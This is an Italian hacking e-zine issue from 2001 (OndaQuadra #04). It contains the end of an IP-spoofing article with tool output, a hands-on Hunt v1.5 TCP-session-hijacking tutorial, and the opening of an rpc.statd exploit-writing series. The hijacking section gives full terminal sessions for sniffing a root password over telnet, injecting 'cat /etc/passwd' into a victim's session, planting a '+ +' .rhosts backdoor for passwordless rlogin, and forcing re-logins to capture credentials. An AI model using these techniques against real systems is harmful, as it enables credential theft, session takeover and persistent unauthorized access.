| Quello che segue \'e8 un esempio di attacco portato a termine con successo su    |\
| di una macchina vulnerabile, la difficolt\'e0 di predizione del sequence number  |\
|                                                                               |\
| appariva come output del comando Nmap in questo modo:                         |\
|                                                                               |\
| TCP Sequence Prediction: Class=trivial time dependency                        |\
|                          Difficulty=1 (Trivial joke)                          |\
|                                                                               |\
| [root@pluto mendax]# ./mendax 192.168.1.2 192.168.1.32                        |\
| flooding source with TCP SYN packets from 143.209.4.3: ....................   |\
| sampling sequence numbers...                                                  |\
|                                                                               |\
| seq number: 885951, ack number: 1                                             |\
| seq number: 885951, ack number: 64001 difference: 0                           |\
| seq number: 885951, ack number: 128001 difference: 0                          |\
| seq number: 885951, ack number: 192001 difference: 0                          |\
| seq number: 885951, ack number: 256001 difference: 0                          |\
| seq number: 885951, ack number: 320001 difference: 0                          |\
| seq number: 885951, ack number: 384001 difference: 0                          |\
| seq number: 885951, ack number: 448001 difference: 0                          |\
| seq number: 885951, ack number: 512001 difference: 0                          |\
| seq number: 885951, ack number: 576001 difference: 0                          |\
| seq number: 885951, ack number: 640001 difference: 0                          |\
| seq number: 885951, ack number: 704001 difference: 0                          |\
| seq number: 885951, ack number: 768001 difference: 0                          |\
| seq number: 885951, ack number: 832001 difference: 0                          |\
| seq number: 885951, ack number: 896001 difference: 0                          |\
| seq number: 885952, ack number: 960001 difference: 1                          |\
| seq number: 885952, ack number: 1024001 difference: 0                         |\
| seq number: 885952, ack number: 1088001 difference: 0                         |\
| seq number: 885952, ack number: 1152001 difference: 0                         |\
| seq number: 885952, ack number: 1216001 difference: 0                         |\
|                                                                               |\
| using 0 as prediction difference (18 hits).                                   |\
| spoofing rshd.                                                                |\
| resetting TCP target connection: .                                            |\
| resetting source: ....................                                        |\
|                                                                               |\
| La riuscita dell'attacco comporta l'esecuzione della backdoor sul sistema     |\
| attaccato.                                                                    |\
|                                                                               |\
| 7. Contromisure                                                               |\
| Come indicato dal CERT Advisory CA-1995-01 \'e8 consigliabile impostare le       |\
| corrette rules sul proprio firewall in modo da prevenire questo genere di     |\
| attacchi, gli indirizzi a rischio sono quelli riservati all'uso locale e      |\
| l'indirizzo di loopback:                                                      |\
|                                                                               |\
|                                                                               |\
| 127.0.0.0       -       127.255.255.255         (loopback)                    |\
| 10.0.0.0        -       10.255.255.255          (reserved)                    |\
| 172.16.0.0      -       172.31.255.255          (reserved)                    |\
| 192.168.0.0     -       192.168.255.255         (reserved)                    |\
|                                                                               |\
|                                                                               |\
| Bibliografia:                                                                 |\
|                                                                               |\
| CERT Advisory CA-1995-01 IP Spoofing Attack and Hijacked Terminal             |\
| Connections                                                                   |\
| RFC 793 - Transmission Control Protocol                                       |\
| TCP/IP Guida Completa - Apogeo                                                |\
| Phrack Magazine - IP-spoofing Demystified                                     |\
| How Mitnick hacked Tsutomu Shimomura with an IP sequence attack               |\
|                                                                               |\
|                                                                               |\
|                                                                               |\
+-------------------------------------------------------------------------------+\
\
\
+-------------------------------------------------------------------------------+\
| ONDAQUADRA ~ [HACKiNG]                                       #04 - 19/11/2001 |\
| MAN iN THE MiDDLE ATTACK - Hunt v.1.5                        [E4zy] 0x09/0x23 |\
+-------------------------------------------------------------------------------+\
|                                                                               |\
| *** PREMESSA ***                                                              |\
| L'articolo da per scontato che si conoscano le modalit\'e0 di un attacco IP      |\
| Spoofing che costituisce la base portante di un dirottamento di sessione      |\
| come quello descritto in seguito, \'e8 consigliata la lettura dell'articolo "IP  |\
|                                                                               |\
| Spoofing Attack" presente in questo stesso numero della zine prima di         |\
| proseguire con la lettura                                                     |\
| ****************                                                              |\
|                                                                               |\
| Introduzione                                                                  |\
| L'attacco Man In The Middle, meglio conosciuto come TCP Hijacking, permette   |\
| lo sniffing(1), la modifica e il reinstradamento del traffico di rete;        |\
| durante la trattazione di questo articolo, avvalendoci del tool Hunt,         |\
| metteremo in pratica quanto imparato.                                         |\
|                                                                               |\
| (1)sniffing: letteralmente fiutare, catturare il traffico di dati da/verso    |\
| un certo dispositivo, esempio la rete, la tastiera                            |\
|                                                                               |\
| ARP (Address Resolution Protocol)                                             |\
| Ogni scheda di rete possiede un proprio indirizzo fisico (MAC), nel momento   |\
| in cui un host deve mandare un pacchetto ad un altro host o al proprio        |\
| gateway deve conoscerne il MAC address. Se il MAC address del destinatario    |\
| non viene trovano nella propria cache ARP l'host mittente generer\'e0 un         |\
| pacchetto ARP che verr\'e0 inviato all'indirizzo di broadcast (tutti gli host    |\
| della rete). Tale richiesta conterr\'e0 l'indirizzo IP dell'host di cui si       |\
| richiede il MAC address, una volta ricevuto dall'host interessato esso        |\
| invier\'e0 al mittente un pacchetto ARP di risposta contenente il proprio MAC    |\
| address.                                                                      |\
| Per ovviare al problema di far richiesta del MAC address ogni qual volta sia  |\
|                                                                               |\
| necessario spedire un nuovo pacchetto, il mittente si preoccuper\'e0 di salvare  |\
|                                                                               |\
| l'IP e il MAC address nella propria cache, i pacchetti successivi potranno    |\
| essere inoltrati senza bisogno di alcuna interrogazione.                      |\
|                                                                               |\
| Teoria                                                                        |\
| Il TCP Hijacking pu\'f2 essere applicato a qualsiasi tipo di applicazione che    |\
| non utilizzi un tunneling crittografico (esempio SSH), di conseguenza         |\
| possiamo individuare come potenziali vittime applicazione come telnet, ftp,   |\
| rlogin, etc., un malintenzionato ha la possibilit\'e0, grazie a un dirottamento  |\
|                                                                               |\
| di sessione, di impadronirsi della sessione stessa e comprometterne           |\
| l'integrit\'e0 dei dati. Il fatto stesso di assumere la direzione di una         |\
| connessione esistente, permette all'attacker di bypassare qualsiasi schema    |\
| di autenticazione attingendo ad una connessione dove l'utente vittima ha gi\'e0  |\
|                                                                               |\
| completato la procedura di login.                                             |\
| Gli host in gioco sono ancora una volta tre:                                  |\
| - attacker: che esegue l'attacco;                                             |\
| - victim: il client vittima;                                                  |\
| - target: il server al quale \'e8 collegata la vittima;                          |\
|                                                                               |\
| Requisiti                                                                     |\
| - la vittima e il server comunicano tra loro senza far utilizzo di alcun      |\
| tipo di criptazione;                                                          |\
| - almeno uno dei host coinvolti (victim o target) si trova nella stessa rete  |\
|                                                                               |\
| locale del sistema attacker, non necessariamente nello stesso segmento di     |\
| rete;                                                                         |\
|                                                                               |\
| Simple Active Attack                                                          |\
| Questo tipo di attacco \'e8 quello di pi\'f9 facile implementazione, si avvale di   |\
| pacchetti che riportano nell'header (intestazione) IP address e ARP           |\
| address(2) spoofed (i veri indirizzi di victim e target); tale                |\
| implementazione dell'attacco pu\'f2 comportare alcuni effetti indesiderati,      |\
| primo tra tutti il fenomeno conosciuto con il nome di "ACK storm".            |\
|                                                                               |\
| (2)ARP address: indirizzo MAC, ovvero l'indirizzo fisico del sistema          |\
|                                                                               |\
| ACK Storm                                                                     |\
| Fenomeno dovuto alla maggior parte delle implementazioni dello stack TCP      |\
| (Linux 2.0 non risente di tale problema), immaginiamo che attacker mandi un   |\
| pacchetto (spoofato con l'ip e MAC address di victim) a target, di            |\
| conseguenza victim ricever\'e0 un ACK inatteso da target e risponder\'e0 ad esso,   |\
| la cosa continuer\'e0 generando un loop di ACK.                                  |\
|                                                                               |\
| ARP Forcing                                                                   |\
| Ha lo scopo di scongiurare un eventuale ACK storm, consiste nella             |\
| falsificazione dei campi relativi al MAC address, avremo cos\'ec la possibilit\'e0  |\
|                                                                               |\
| di redirigere le risposte di target verso un host fittizio, in questo modo    |\
| victim non sar\'e0 bersaglio di ACK inattesi.                                    |\
| Questa tecnica non funzionerebbe con sistemi Solaris 2.5 a causa del minor    |\
| tempo con cui le voci ARP scadono e vengono di conseguenza eliminate dalla    |\
| cache ARP.                                                                    |\
| Il programma Hunt, che useremo pi\'f9 avanti nella trattazione di questo         |\
| articolo, cerca di risolvere tale problema attuando un force sia del MAC      |\
| address di victim che di quello di target, in questo modo sia target che      |\
| victim inviano il loro traffico verso l'host fittizio di conseguenza nel      |\
| caso in cui uno dei due sistemi sia un Solaris 2.5 e l'altro no, l'ACK storm  |\
|                                                                               |\
| verr\'e0 comunque scongiurato. Non solo! Come ogni network sniffer che si        |\
| rispetti Hunt \'e8 in grado di sniffare tutto il traffico diretto verso l'host   |\
| fittizio :)                                                                   |\
| L'unico problema rimane nel caso in cui i due sistemi coinvolti siano         |\
| entrambi Solaris 2.5 :(                                                       |\
|                                                                               |\
| Pratica                                                                       |\
| Guida all'uso di Hunt v.1.5                                                   |\
| Breve introduzione alle principali funzioni del programma:                    |\
|                                                                               |\
| Connection Sniffing                                                           |\
| Permette di osservare il traffico generato da qualsiasi connessione           |\
| disponibile.                                                                  |\
| Analizziamo una sessione a rischio dove l'utente victim accede all'host       |\
| target tramite telnet ed esegue il comando "su" per ottenere i privilegi del  |\
|                                                                               |\
| superuser:                                                                    |\
|                                                                               |\
| Last login: Fri Oct 26 15:34:01 from 192.168.1.35                             |\
| [victim@target victim]$ su                                                    |\
| Password:                                                                     |\
| [root@target victim]#                                                         |\
|                                                                               |\
| Vediamo il tutto dagli occhi dell'attacker:                                   |\
|                                                                               |\
| [attacker@attacker hunt-1.5]# ./hunt                                          |\
| /*                                                                            |\
| *      hunt 1.5                                                               |\
| *      multipurpose connection intruder / sniffer for Linux                   |\
| *      (c) 1998-2000 by kra                                                   |\
| */                                                                            |\
| starting hunt                                                                 |\
| --- Main Menu --- rcvpkt 0, free/alloc 63/64 ------                           |\
| l/w/r) list/watch/reset connections                                           |\
| u)     host up tests                                                          |\
| a)     arp/simple hijack (avoids ack storm if arp used)                       |\
| s)     simple hijack                                                          |\
| d)     daemons rst/arp/sniff/mac                                              |\
| o)     options                                                                |\
| x)     exit                                                                   |\
| *> w                                                                          |\
| 0) 192.168.1.35 [34335]        --> 192.168.1.34 [23]                          |\
|                                                                               |\
| choose conn> 0                                                                |\
| dump [s]rc/[d]st/[b]oth [b]> s                                                |\
|                                                                               |\
|                                                                               |\
| CTRL-C to break                                                               |\
| su                                                                            |\
| secret                                                                        |\
|                                                                               |\
| L'opzione (w)atch ci permette di sniffare il traffico tra l'host victim e     |\
| target, ho scelto di dumpare il solo traffico che coinvolge l'host sorgente   |\
| ovvero victim:                                                                |\
| dump [s]rc/[d]st/[b]oth [b]> s                                                |\
|                                                                               |\
| il che si \'e8 rivelato una mossa azzeccata e mi ha permesso di sniffare         |\
| l'esecuzione di "su" con relativa password di root, slurp :)                  |\
|                                                                               |\
| Simple Hijack                                                                 |\
| L'attacco di pi\'f9 semplice attuazione ma anche il pi\'f9 rischioso al tempo       |\
| stesso, permette di inserire un comando all'interno del flusso di dati della  |\
|                                                                               |\
| sessione dirottata. Molto spesso tale attacco degenera in un ACK storm che    |\
| impedisce qualsiasi ulteriore inoltro di pacchetti.                           |\
| Un ulteriore problema \'e8 rappresentato dal fatto che, in tale modalit\'e0,        |\
| l'utente victim \'e8 in grado di vedere l'output generato dall'esecuzione dei    |\
| comandi di attacker.                                                          |\
| In caso di esito positivo l'attacker avr\'e0 la possibilit\'e0 di resettare la      |\
| connessione o procedere alla sua sincronizzazione (spiegato in seguito).      |\
| Nell'esempio riportato in seguito l'utente victim si \'e8 autentificato con      |\
| successo sul sistema target, a questo punto abbiamo la possibilit\'e0 di         |\
| eseguire comandi arbitrari sul server target con i privilegi associati a      |\
| victim, il programma hunt non far\'e0 altro che accodare al flusso di dati il    |\
| nostro comando che risulter\'e0 provenire dall'host victim:                      |\
|                                                                               |\
| [attacker@attacker hunt-1.5]# ./hunt                                          |\
| /*                                                                            |\
| *      hunt 1.5                                                               |\
| *      multipurpose connection intruder / sniffer for Linux                   |\
| *      (c) 1998-2000 by kra                                                   |\
| */                                                                            |\
| starting hunt                                                                 |\
| --- Main Menu --- rcvpkt 0, free/alloc 63/64 ------                           |\
| l/w/r) list/watch/reset connections                                           |\
| u)     host up tests                                                          |\
| a)     arp/simple hijack (avoids ack storm if arp used)                       |\
| s)     simple hijack                                                          |\
| d)     daemons rst/arp/sniff/mac                                              |\
| o)     options                                                                |\
| x)     exit                                                                   |\
| *> s                                                                          |\
| 0) 192.168.1.35 [34296]        --> 192.168.1.34 [23]                          |\
|                                                                               |\
| choose conn> 0                                                                |\
| dump connection y/n [n]> n                                                    |\
| Enter the command string you wish executed or [cr]> cat /etc/passwd           |\
| c                                                                             |\
| [victim@target victim]$ ca                                                    |\
| [victim@target victim]$ cat                                                   |\
| [victim@target victim]$ cat                                                   |\
| [victim@target victim]$ cat /                                                 |\
| [victim@target victim]$ cat /e                                                |\
| [victim@target victim]$ cat /et                                               |\
| [victim@target victim]$ cat /etc                                              |\
| [victim@target victim]$ cat /etc/                                             |\
| [victim@target victim]$ cat /etc/p                                            |\
| [victim@target victim]$ cat /etc/pa                                           |\
| [victim@target victim]$ cat /etc/pas                                          |\
| [victim@target victim]$ cat /etc/pass                                         |\
| [victim@target victim]$ cat /etc/passw                                        |\
| [victim@target victim]$ cat /etc/passwd                                       |\
| [victim@target victim]$ cat /etc/passwd                                       |\
| root:x:0:0:root:/root:/bin/bash                                               |\
| bin:x:1:1:bin:/bin:                                                           |\
| daemon:x:2:2:daemon:/sbin:                                                    |\
| adm:x:3:4:adm:/var/adm:                                                       |\
| lp:x:4:7:lp:/var/spool/lpd:                                                   |\
| sync:x:5:0:sync:/sbin:/bin/sync                                               |\
| shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown                                  |\
| halt:x:7:0:halt:/sbin:/sbin/halt                                              |\
| mail:x:8:12:mail:/var/spool/mail:                                             |\
| news:x:9:13:news:/var/spool/news:                                             |\
| uucp:x:10:14:uucp:/var/spool/uucp:                                            |\
| operator:x:11:0:operator:/root:                                               |\
| games:x:12:100:games:/usr/games:                                              |\
| gopher:x:13:30:gopher:/usr/lib/gopher-data:                                   |\
| postgres:x:40:41:PostgreSQL Server:/var/lib/pgsql:/bin/bash                   |\
| ftp:x:14:50:FTP User:/var/ftp:                                                |\
| gdm:x:42:42:GDM User:/var/lib/gdm:                                            |\
| htdig:x:51:51:HTDIG User:/var/www/html/htdig:                                 |\
| dhcpd:x:19:19:Dhcpd User:/var/dhcpd:                                          |\
| named:x:25:25:Bind User:/var/named:                                           |\
| nscd:x:28:28:NSCD Daemon:/:/bin/false                                         |\
| apache:x:48:48:Apache User:/var/www:                                          |\
| rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/bin/false                      |\
| rpc:x:32:32:Portmapper RPC user:/:/bin/false                                  |\
| sympa:x:89:89:Sympa Mailing list manager:/var/lib/sympa:/bin/bash             |\
| nobody:x:99:99:Nobody:/:                                                      |\
| alias:x:400:401:qmail alias user:/var/qmail/alias:/bin/true                   |\
| qmaild:x:401:401:qmaild user:/var/qmail:/bin/true                             |\
| qmaill:x:402:401:qmaill user:/var/qmail:/bin/true                             |\
| qmailp:x:403:401:qmailp user:/var/qmail:/bin/true                             |\
| qmailq:x:404:400:qmailq user:/var/qmail:/bin/true                             |\
| qmailr:x:405:400:qmailr user:/var/qmail:/bin/true                             |\
| qmails:x:406:400:qmails user:/var/qmail:/bin/true                             |\
| dnscache:x:410:405:dnscache user:/var/djbdns:/bin/true                        |\
| dnslog:x:411:405:dnslog user:/var/djbdns:/bin/true                            |\
| tinydns:x:412:405:tinydns user:/var/djbdns:/bin/true                          |\
| axfrdns:x:413:405:axfrdns user:/var/djbdns:/bin/true                          |\
| xfs:x:414:414:X Font Server:/etc/X11/fs:/bin/false                            |\
| victim:x:501:501:victim:/home/victim:/bin/bash                                |\
| [victim@target victim]$                                                       |\
| [victim@target victim]$ Enter the command string you wish executed or [cr]>   |\
| [r]eset connection/[s]ynchronize/[n]one [r]> r                                |\
| done                                                                          |\
| --- Main Menu --- rcvpkt 3987, free/alloc 63/64 ------                        |\
| l/w/r) list/watch/reset connections                                           |\
| u)     host up tests                                                          |\
| a)     arp/simple hijack (avoids ack storm if arp used)                       |\
| s)     simple hijack                                                          |\
| d)     daemons rst/arp/sniff/mac                                              |\
| o)     options                                                                |\
| x)     exit                                                                   |\
| *>                                                                            |\
|                                                                               |\
| In tal modo abbiamo attenuto il password file, non \'e8 /etc/shadow ma \'e8 gi\'e0     |\
| qualcosa :)                                                                   |\
|                                                                               |\
| ARP/Simple Hijack                                                             |\
| Scongiura il problema dell'ACK storm, permette di manipolare il flusso di     |\
| dati della sessione desiderata. E' possibile effettuare un ARP spoofing per   |\
| entrambi i capi della connessione (victim e target), per uno solo dei due o   |\
| per nessuno di essi a seconda delle proprie esigenze. E' caldamente           |\
| raccomandato l'uso dell'ARP relayer nel caso in cui si opti per un ARP        |\
| spoofing che coinvolge ambo i capi della connessione, esso impedisce di       |\
| influire sulle altre sessioni in gioco tra i due host provvedendo al loro     |\
| reinstradamento.                                                              |\
| Viceversa, immaginiamo di optare per una soluzione che preveda unicamente     |\
| l'ARP spoofing dell'host victim, le sole connessioni affette saranno quelle   |\
| dirette verso tale host.                                                      |\
| L'uso di questa modalit\'e0 occulta l'operato dell'attacker che pu\'f2 agire        |\
| indisturbato, la sessione victim rimane momentaneamente congelata a causa     |\
| della desincronizzazione; terminato il dirottamento di sessione \'e8 possibile   |\
| decidere di resettare o sincronizzare la connessione (spiegato in seguito).   |\
| Possiamo servirci di tale attacco per eseguire comandi arbitrari sul sistema  |\
|                                                                               |\
| target usufruendo dei privilegi associati all'user victim, nel prossimo       |\
| esempio piazzeremo una backdoor:                                              |\
|                                                                               |\
| [attacker@attacker hunt-1.5]# ./hunt                                          |\
| /*                                                                            |\
| *      hunt 1.5                                                               |\
| *      multipurpose connection intruder / sniffer for Linux                   |\
| *      (c) 1998-2000 by kra                                                   |\
| */                                                                            |\
| starting hunt                                                                 |\
| --- Main Menu --- rcvpkt 0, free/alloc 63/64 ------                           |\
| l/w/r) list/watch/reset connections                                           |\
| u)     host up tests                                                          |\
| a)     arp/simple hijack (avoids ack storm if arp used)                       |\
| s)     simple hijack                                                          |\
| d)     daemons rst/arp/sniff/mac                                              |\
| o)     options                                                                |\
| x)     exit                                                                   |\
| *> a                                                                          |\
| 0) 192.168.1.35 [34301]        --> 192.168.1.34 [23]                          |\
|                                                                               |\
| choose conn> 0                                                                |\
| arp spoof src in dst y/n [y]> y                                               |\
| src MAC [EA:1A:DE:AD:BE:01]>                                                  |\
| arp spoof dst in src y/n [y]> y                                               |\
| dst MAC [EA:1A:DE:AD:BE:02]>                                                  |\
| input mode [r]aw, [l]ine+echo+\\r, line+[e]cho [r]> r                          |\
| dump connectin y/n [y]> n                                                     |\
| press key to take over of connection                                          |\
| you took over the connection                                                  |\
| CTRL-] to break                                                               |\
| e                                                                             |\
| [victim@target victim]$ ec                                                    |\
| [victim@target victim]$ ech                                                   |\
| [victim@target victim]$ echo                                                  |\
| [victim@target victim]$ echo                                                  |\
| [victim@target victim]$ echo +                                                |\
| [victim@target victim]$ echo +                                                |\
| [victim@target victim]$ echo + +                                              |\
| [victim@target victim]$ echo + +                                              |\
| [victim@target victim]$ echo + + >                                            |\
| [victim@target victim]$ echo + + >>                                           |\
| [victim@target victim]$ echo + + >>                                           |\
| [victim@target victim]$ echo + + >> ~                                         |\
| [victim@target victim]$ echo + + >> ~/                                        |\
| [victim@target victim]$ echo + + >> ~/.                                       |\
| [victim@target victim]$ echo + + >> ~/.r                                      |\
| [victim@target victim]$ echo + + >> ~/.rh                                     |\
| [victim@target victim]$ echo + + >> ~/.rho                                    |\
| [victim@target victim]$ echo + + >> ~/.rhos                                   |\
| [victim@target victim]$ echo + + >> ~/.rhost                                  |\
| [victim@target victim]$ echo + + >> ~/.rhosts                                 |\
| [victim@target victim]$ echo + + >> ~/.rhosts                                 |\
| [victim@target victim]$                                                       |\
|                                                                               |\
| Cosa aspettate? Non vi resta che collegarvi a target con un client rlogin     |\
| (qualsiasi r-commands), avrete accesso al sistema senza bisogno di            |\
| specificare alcuna password.                                                  |\
|                                                                               |\
| Connection Reset                                                              |\
| Permette di forgiare un pacchetto in grado di resettare la sessione corrente  |\
|                                                                               |\
| tra i sistemi victim e target (flag RST attivo), non si pone il problema      |\
| della predizione del numero sequenziale in quanto la sessione \'e8 sniffata      |\
| integralmente dal tool stesso.                                                |\
| Una buona tecnica \'e8 quella di resettare la connessione tra i due host al      |\
| fine di forzare victim ad effettuare nuovamente l'autenticazione che potr\'e0    |\
| venir sniffata per mezzo dell'opzione watch, vediamo l'esempio:               |\
|                                                                               |\
| [attacker@attacker hunt-1.5]# ./hunt                                          |\
| /*                                                                            |\
| *      hunt 1.5                                                               |\
| *      multipurpose connection intruder / sniffer for Linux                   |\
| *      (c) 1998-2000 by kra                                                   |\
| */                                                                            |\
| starting hunt                                                                 |\
| --- Main Menu --- rcvpkt 0, free/alloc 63/64 ------                           |\
| l/w/r) list/watch/reset connections                                           |\
| u)     host up tests                                                          |\
| a)     arp/simple hijack (avoids ack storm if arp used)                       |\
| s)     simple hijack                                                          |\
| d)     daemons rst/arp/sniff/mac                                              |\
| o)     options                                                                |\
| x)     exit                                                                   |\
| *> r                                                                          |\
| 0) 192.168.1.35 [33322]        --> 192.168.1.34 [23]                          |\
|                                                                               |\
| choose conn> 0                                                                |\
| reset [s]rc/[d]st/[b]oth [b]> b                                               |\
| done                                                                          |\
| --- Main Menu --- rcvpkt 3992, free/alloc 63/64 ------                        |\
| l/w/r) list/watch/reset connections                                           |\
| u)     host up tests                                                          |\
| a)     arp/simple hijack (avoids ack storm if arp used)                       |\
| s)     simple hijack                                                          |\
| d)     daemons rst/arp/sniff/mac                                              |\
| o)     options                                                                |\
| x)     exit                                                                   |\
| *> w                                                                          |\
| 0) 192.168.1.35 [33409]        --> 192.168.1.34 [23]                          |\
|                                                                               |\
| choose conn> 0                                                                |\
| dump [s]rc/[d]st/[b]oth [b]> s                                                |\
|                                                                               |\
|                                                                               |\
| CTRL-C to break                                                               |\
| victim                                                                        |\
| secret                                                                        |\
|                                                                               |\
| Agli occhi della vittima il tutto apparir\'e0 cos\'ec:                              |\
|                                                                               |\
| [victim@victim victim]$ telnet 192.168.1.34                                   |\
| Trying 192.168.1.34...                                                        |\
| Connected to 192.168.1.34.                                                    |\
| Escape character is '^]'.                                                     |\
| Welcome to target.workgroup.com                                               |\
| Linux Mandrake release 8.0 (Traktopel) for i586                               |\
| Kernel 2.4.3-20mdk on an i686                                                 |\
| login: victim                                                                 |\
| Password:                                                                     |\
| Last login: Mon Oct 29 09:34:26 from 192.168.1.35                             |\
| [victim@target victim]$                                                       |\
| [victim@target victim]$ Connection closed by foreign host.                    |\
| [victim@victim victim]$ telnet 192.168.1.34                                   |\
| Trying 192.168.1.34...                                                        |\
| Connected to 192.168.1.34.                                                    |\
| Escape character is '^]'.                                                     |\
| Welcome to target.workgroup.com                                               |\
| Linux Mandrake release 8.0 (Traktopel) for i586                               |\
| Kernel 2.4.3-20mdk on an i686                                                 |\
| login: victim                                                                 |\
| Password:                                                                     |\
| Last login: Mon Oct 29 09:39:31 from 192.168.1.35                             |\
| [victim@target victim]$                                                       |\
|                                                                               |\
|                                                                               |\
| Connection Synchronization                                                    |\
| Tale operazione si rende necessaria nel qual caso l'attacker non si limiti    |\
| nello sniffing della sessione ma proceda nell'inserimento di dati nel flusso  |\
|                                                                               |\
| TCP, in questo caso si verificherebbe una desincronizzazione tra l'host       |\
| victim e target. L'attacker pu\'f2 cos\'ec decidere di resettare la connessione     |\
| oppure procedere alla sua sincronizzazione.                                   |\
| Nel secondo caso Hunt cercher\'e0 di "riallineare" la sessione, tale azione da   |\
| modo ai due host di riprendere il controllo della connessione                 |\
| precedentemente interrotta dal dirottamento.                                  |\
|                                                                               |\
| Switch/Segment traffic rerouting                                              |\
| Grazie alla tecnica conosciuta con il nome di ARP spoofing permette di        |\
| aggirare i problemi derivanti da un'implementazione di una rete switchata,    |\
| forza lo switch a instradare il traffico diretto verso un certo host in un    |\
| altro segmento di rete.                                                       |\
|                                                                               |\
| E4zy vi saluta e vi augura buon divertimento :)                               |\
|                                                                               |\
| Bibliografia:                                                                 |\
|                                                                               |\
| CERT Advisory CA-1995-01 IP Spoofing Attack and Hijacked Terminal             |\
| Connections                                                                   |\
| RFC 793 - Transmission Control Protocol                                       |\
| TCP/IP Guida Completa - Apogeo                                                |\
| Hunt v.1.5 README                                                             |\
|                                                                               |\
|                                                                               |\
|                                                                               |\
+-------------------------------------------------------------------------------+\
\
\
+-------------------------------------------------------------------------------+\
| ONDAQUADRA ~ [LiNUX]                                         #04 - 19/11/2001 |\
| LA LUNGA ST0RiA DELL'EXPL0iT DEL DEM0NE RPC.STATD           [xyzzy] 0x0A/0x23 |\
+-------------------------------------------------------------------------------+\
|                                                                               |\
|                                                                               |\
|                                ovvero                                         |\
|                                                                               |\
| come scriversi il proprio exploit personale in tre puntate (...o forse piu'   |\
| :)                                                                            |\
|                                                                               |\
|             *************** Seconda Puntata ***************                   |\
|                                                                               |\
| 3. L'exploit                                                                  |\
|                                                                               |\
| E cosi' adesso volete vedere come si riesce ad eseguire un programma su una   |\
| macchina remota attraverso l'invio di una stringa di caratteri                |\
| apparentemente                                                                |\
| innocua, eh? Bene! Siete capitati nel posto giusto! Tutto quello di cui       |\
| avremo                                                                        |\
| bisogno e':                                                                   |\
|                                                                               |\
| - una conoscenza "decente" dei meccanismi che governano la gestione dello     |\
| stack                                                                         |\
| - una certa quale dimestichezza con i concetti e gli strumenti di debugging   |\
| (gdb                                                                          |\
|   prima di tutti)                                                             |\
| - una macchina linux disponibile (personalmente ho lavorato su ua Red Hat     |\
| 7.1,                                                                          |\
|   quindi gli esempi sono funzionanti *certamente* su questa distribuzione,    |\
| ma                                                                            |\
|   immagino siano assolutamente trasportabili su molte altre)                  |\
| - tanta, tanta, tanta buona volonta' e voglia di capire (la stessa che ha     |\
| animato                                                                       |\
|   me quando, in presenza di un sistema violato, ho voluto andare in fondo a   |\
|   questa storia ;)                                                            |\
|                                                                               |\
| Ok, verificato che disponiamo di tutte queste cose, cominciamo pure le danze  |\
| ;)                                                                            |\
|                                                                               |\
| Si parte!                                                                     |\
|                                                                               |\
|                                                                               |\
| 3.1. Principio tecnico                                                        |\
|                                                                               |\
| Qualsiasi processo in esecuzione utilizza delle zone di menoria per           |\
| conservare le                                                                 |\
| informazioni necessarie al suo funzionamento; parliamo non soltanto di        |\
| valori                                                                        |\
| variabili durante l'esecuzione, ma anche di codice eseguibile che deve        |\
| giocoforza                                                                    |\
| essere caricato in memoria e solo successivamente puo' venire eseguito dalla  |\
| CPU.                                                                          |\
| Le zone di memoria in cui queste informazioni vengono mantenute prende il     |\
| nome di                                                                       |\
| "spazio di indirizzamento del processo" e la sua gestione e' a completa       |\
| discrezione                                                                   |\
| del kernel. Tuttavia, per mantenere un certo livello di astrazione, il        |\
| kernel si                                                                     |\
| occupa di "virtualizzare" gli indirizzi: mentre il processo "vede" certe      |\
| variabili                                                                     |\
| a certi indirizzi (sempre uguali, dal suo punto di vista) il kernel si        |\
| occupa di                                                                     |\
| gestire l'indirizzamento effettivo in memoria utilizzando tecniche di         |\
| "mapping"                                                                     |\
| degli indirizzi e facendo corrispondere gli indirizzi "fissi" del processo    |\
| ad                                                                            |\
| altrettanti indirizzi della memoria fisica, variandone i valori a seconda     |\
| delle                                                                         |\
| varie condizioni. Ad esempio, lo stesso processo puo' venire caricato in      |\
| zone di                                                                       |\
| memoria fisica differenti nel momento in cui venga temporaneamente            |\
| parcheggiato su                                                               |\
| disco per liberare memoria fisica in quel momento necessaria all'esecuzione   |\
| di                                                                            |\
| processi piu' "importanti", mediante l'operazione comunemente conosciuta con  |\
| il                                                                            |\
| nome di "swapping". Non entreremo piu' di tanto in queste questioni; a noi    |\
| basta                                                                         |\
| sapere che esistono zone di memoria alle quali i processi possono fare        |\
| riferimento                                                                   |\
| attraverso un indirizzamento che resta, dal loro punto di vista, costante e   |\
| questo                                                                        |\
| e' alla base dell'exploit che analizzeremo.                                   |\
|                                                                               |\
|                                                                               |\
|                                                                               |\
| 3.1.1. Analisi dei due exploit principalmente utilizzati                      |\
|                                                                               |\
| Premessa: ogni exploit deriva sempre ed incondizionatamente da un ERRORE di   |\
|           programmazione, non importa quanto in buona fede. Sostanzialmente   |\
|           si tratta di una mancanza di controlli sugli input ricevuti         |\
|           dall'esterno siano essi relativi alla dimensione dell'input         |\
| ricevuto                                                                      |\
|           (buffer overflow) oppure al "significato" dell'input stesso         |\
| (validazione                                                                  |\
|           dell'input vera e propria, da cui derive la possibilita' di         |\
| sovrascrivere                                                                 |\
|           zone dello stack)                                                   |\
|                                                                               |\
| Buffer overflow: piu' "semplice", sostanzialmente in grado di sovrascrivere   |\
| lo stack                                                                      |\
| attraverso la concatenazione di stringhe eccessivamente lunghe                |\
|                                                                               |\
| Input validation: utilizzando opportune tecniche (l'operatore "%n" in una     |\
| chiamata a                                                                    |\
| qualche funzione che realizzi un output; esempi di tali funzioni sono la      |\
| printf, la                                                                    |\
| syslog, la sprintf e cosi' via) si riesce a sovrascrivere l'indirizzo di      |\
| ritorno                                                                       |\
| della routine, permettendo pertanto l'esecuzione di codice "arbitrario"       |\
|                                                                               |\
|                                                                               |\
|                                                                               |\
|                                                                               |\
| 3.1.2. Punti in comune                                                        |\
|                                                                               |\
|                                                                               |\
| Tutti e due questi tipi di exploit mirano ad un unico obiettivo: riuscire a   |\
| modificare                                                                    |\
| le informazioni del processo in modo tale da fargli eseguire delle            |\
| istruzioni diverse                                                            |\
| da quelle che normalmente eseguirebbe. Il massimo obiettivo e' quello di      |\
| fare eseguire                                                                 |\
| un codice specificato direttamente dall'attaccante, ottenendo in tal modo il  |\
| pieno                                                                         |\
| controllo del comportamento del processo stesso (vi lascio immaginare cosa    |\
| questo                                                                        |\
| voglia dire se ci si trova in presenza di un processo eseguito con i massimi  |\
| privilegi... ;)                                                               |\
|                                                                               |\
|                                                                               |\
|                                                                               |\
| 3.1.3. Differenze                                                             |\
|                                                                               |\
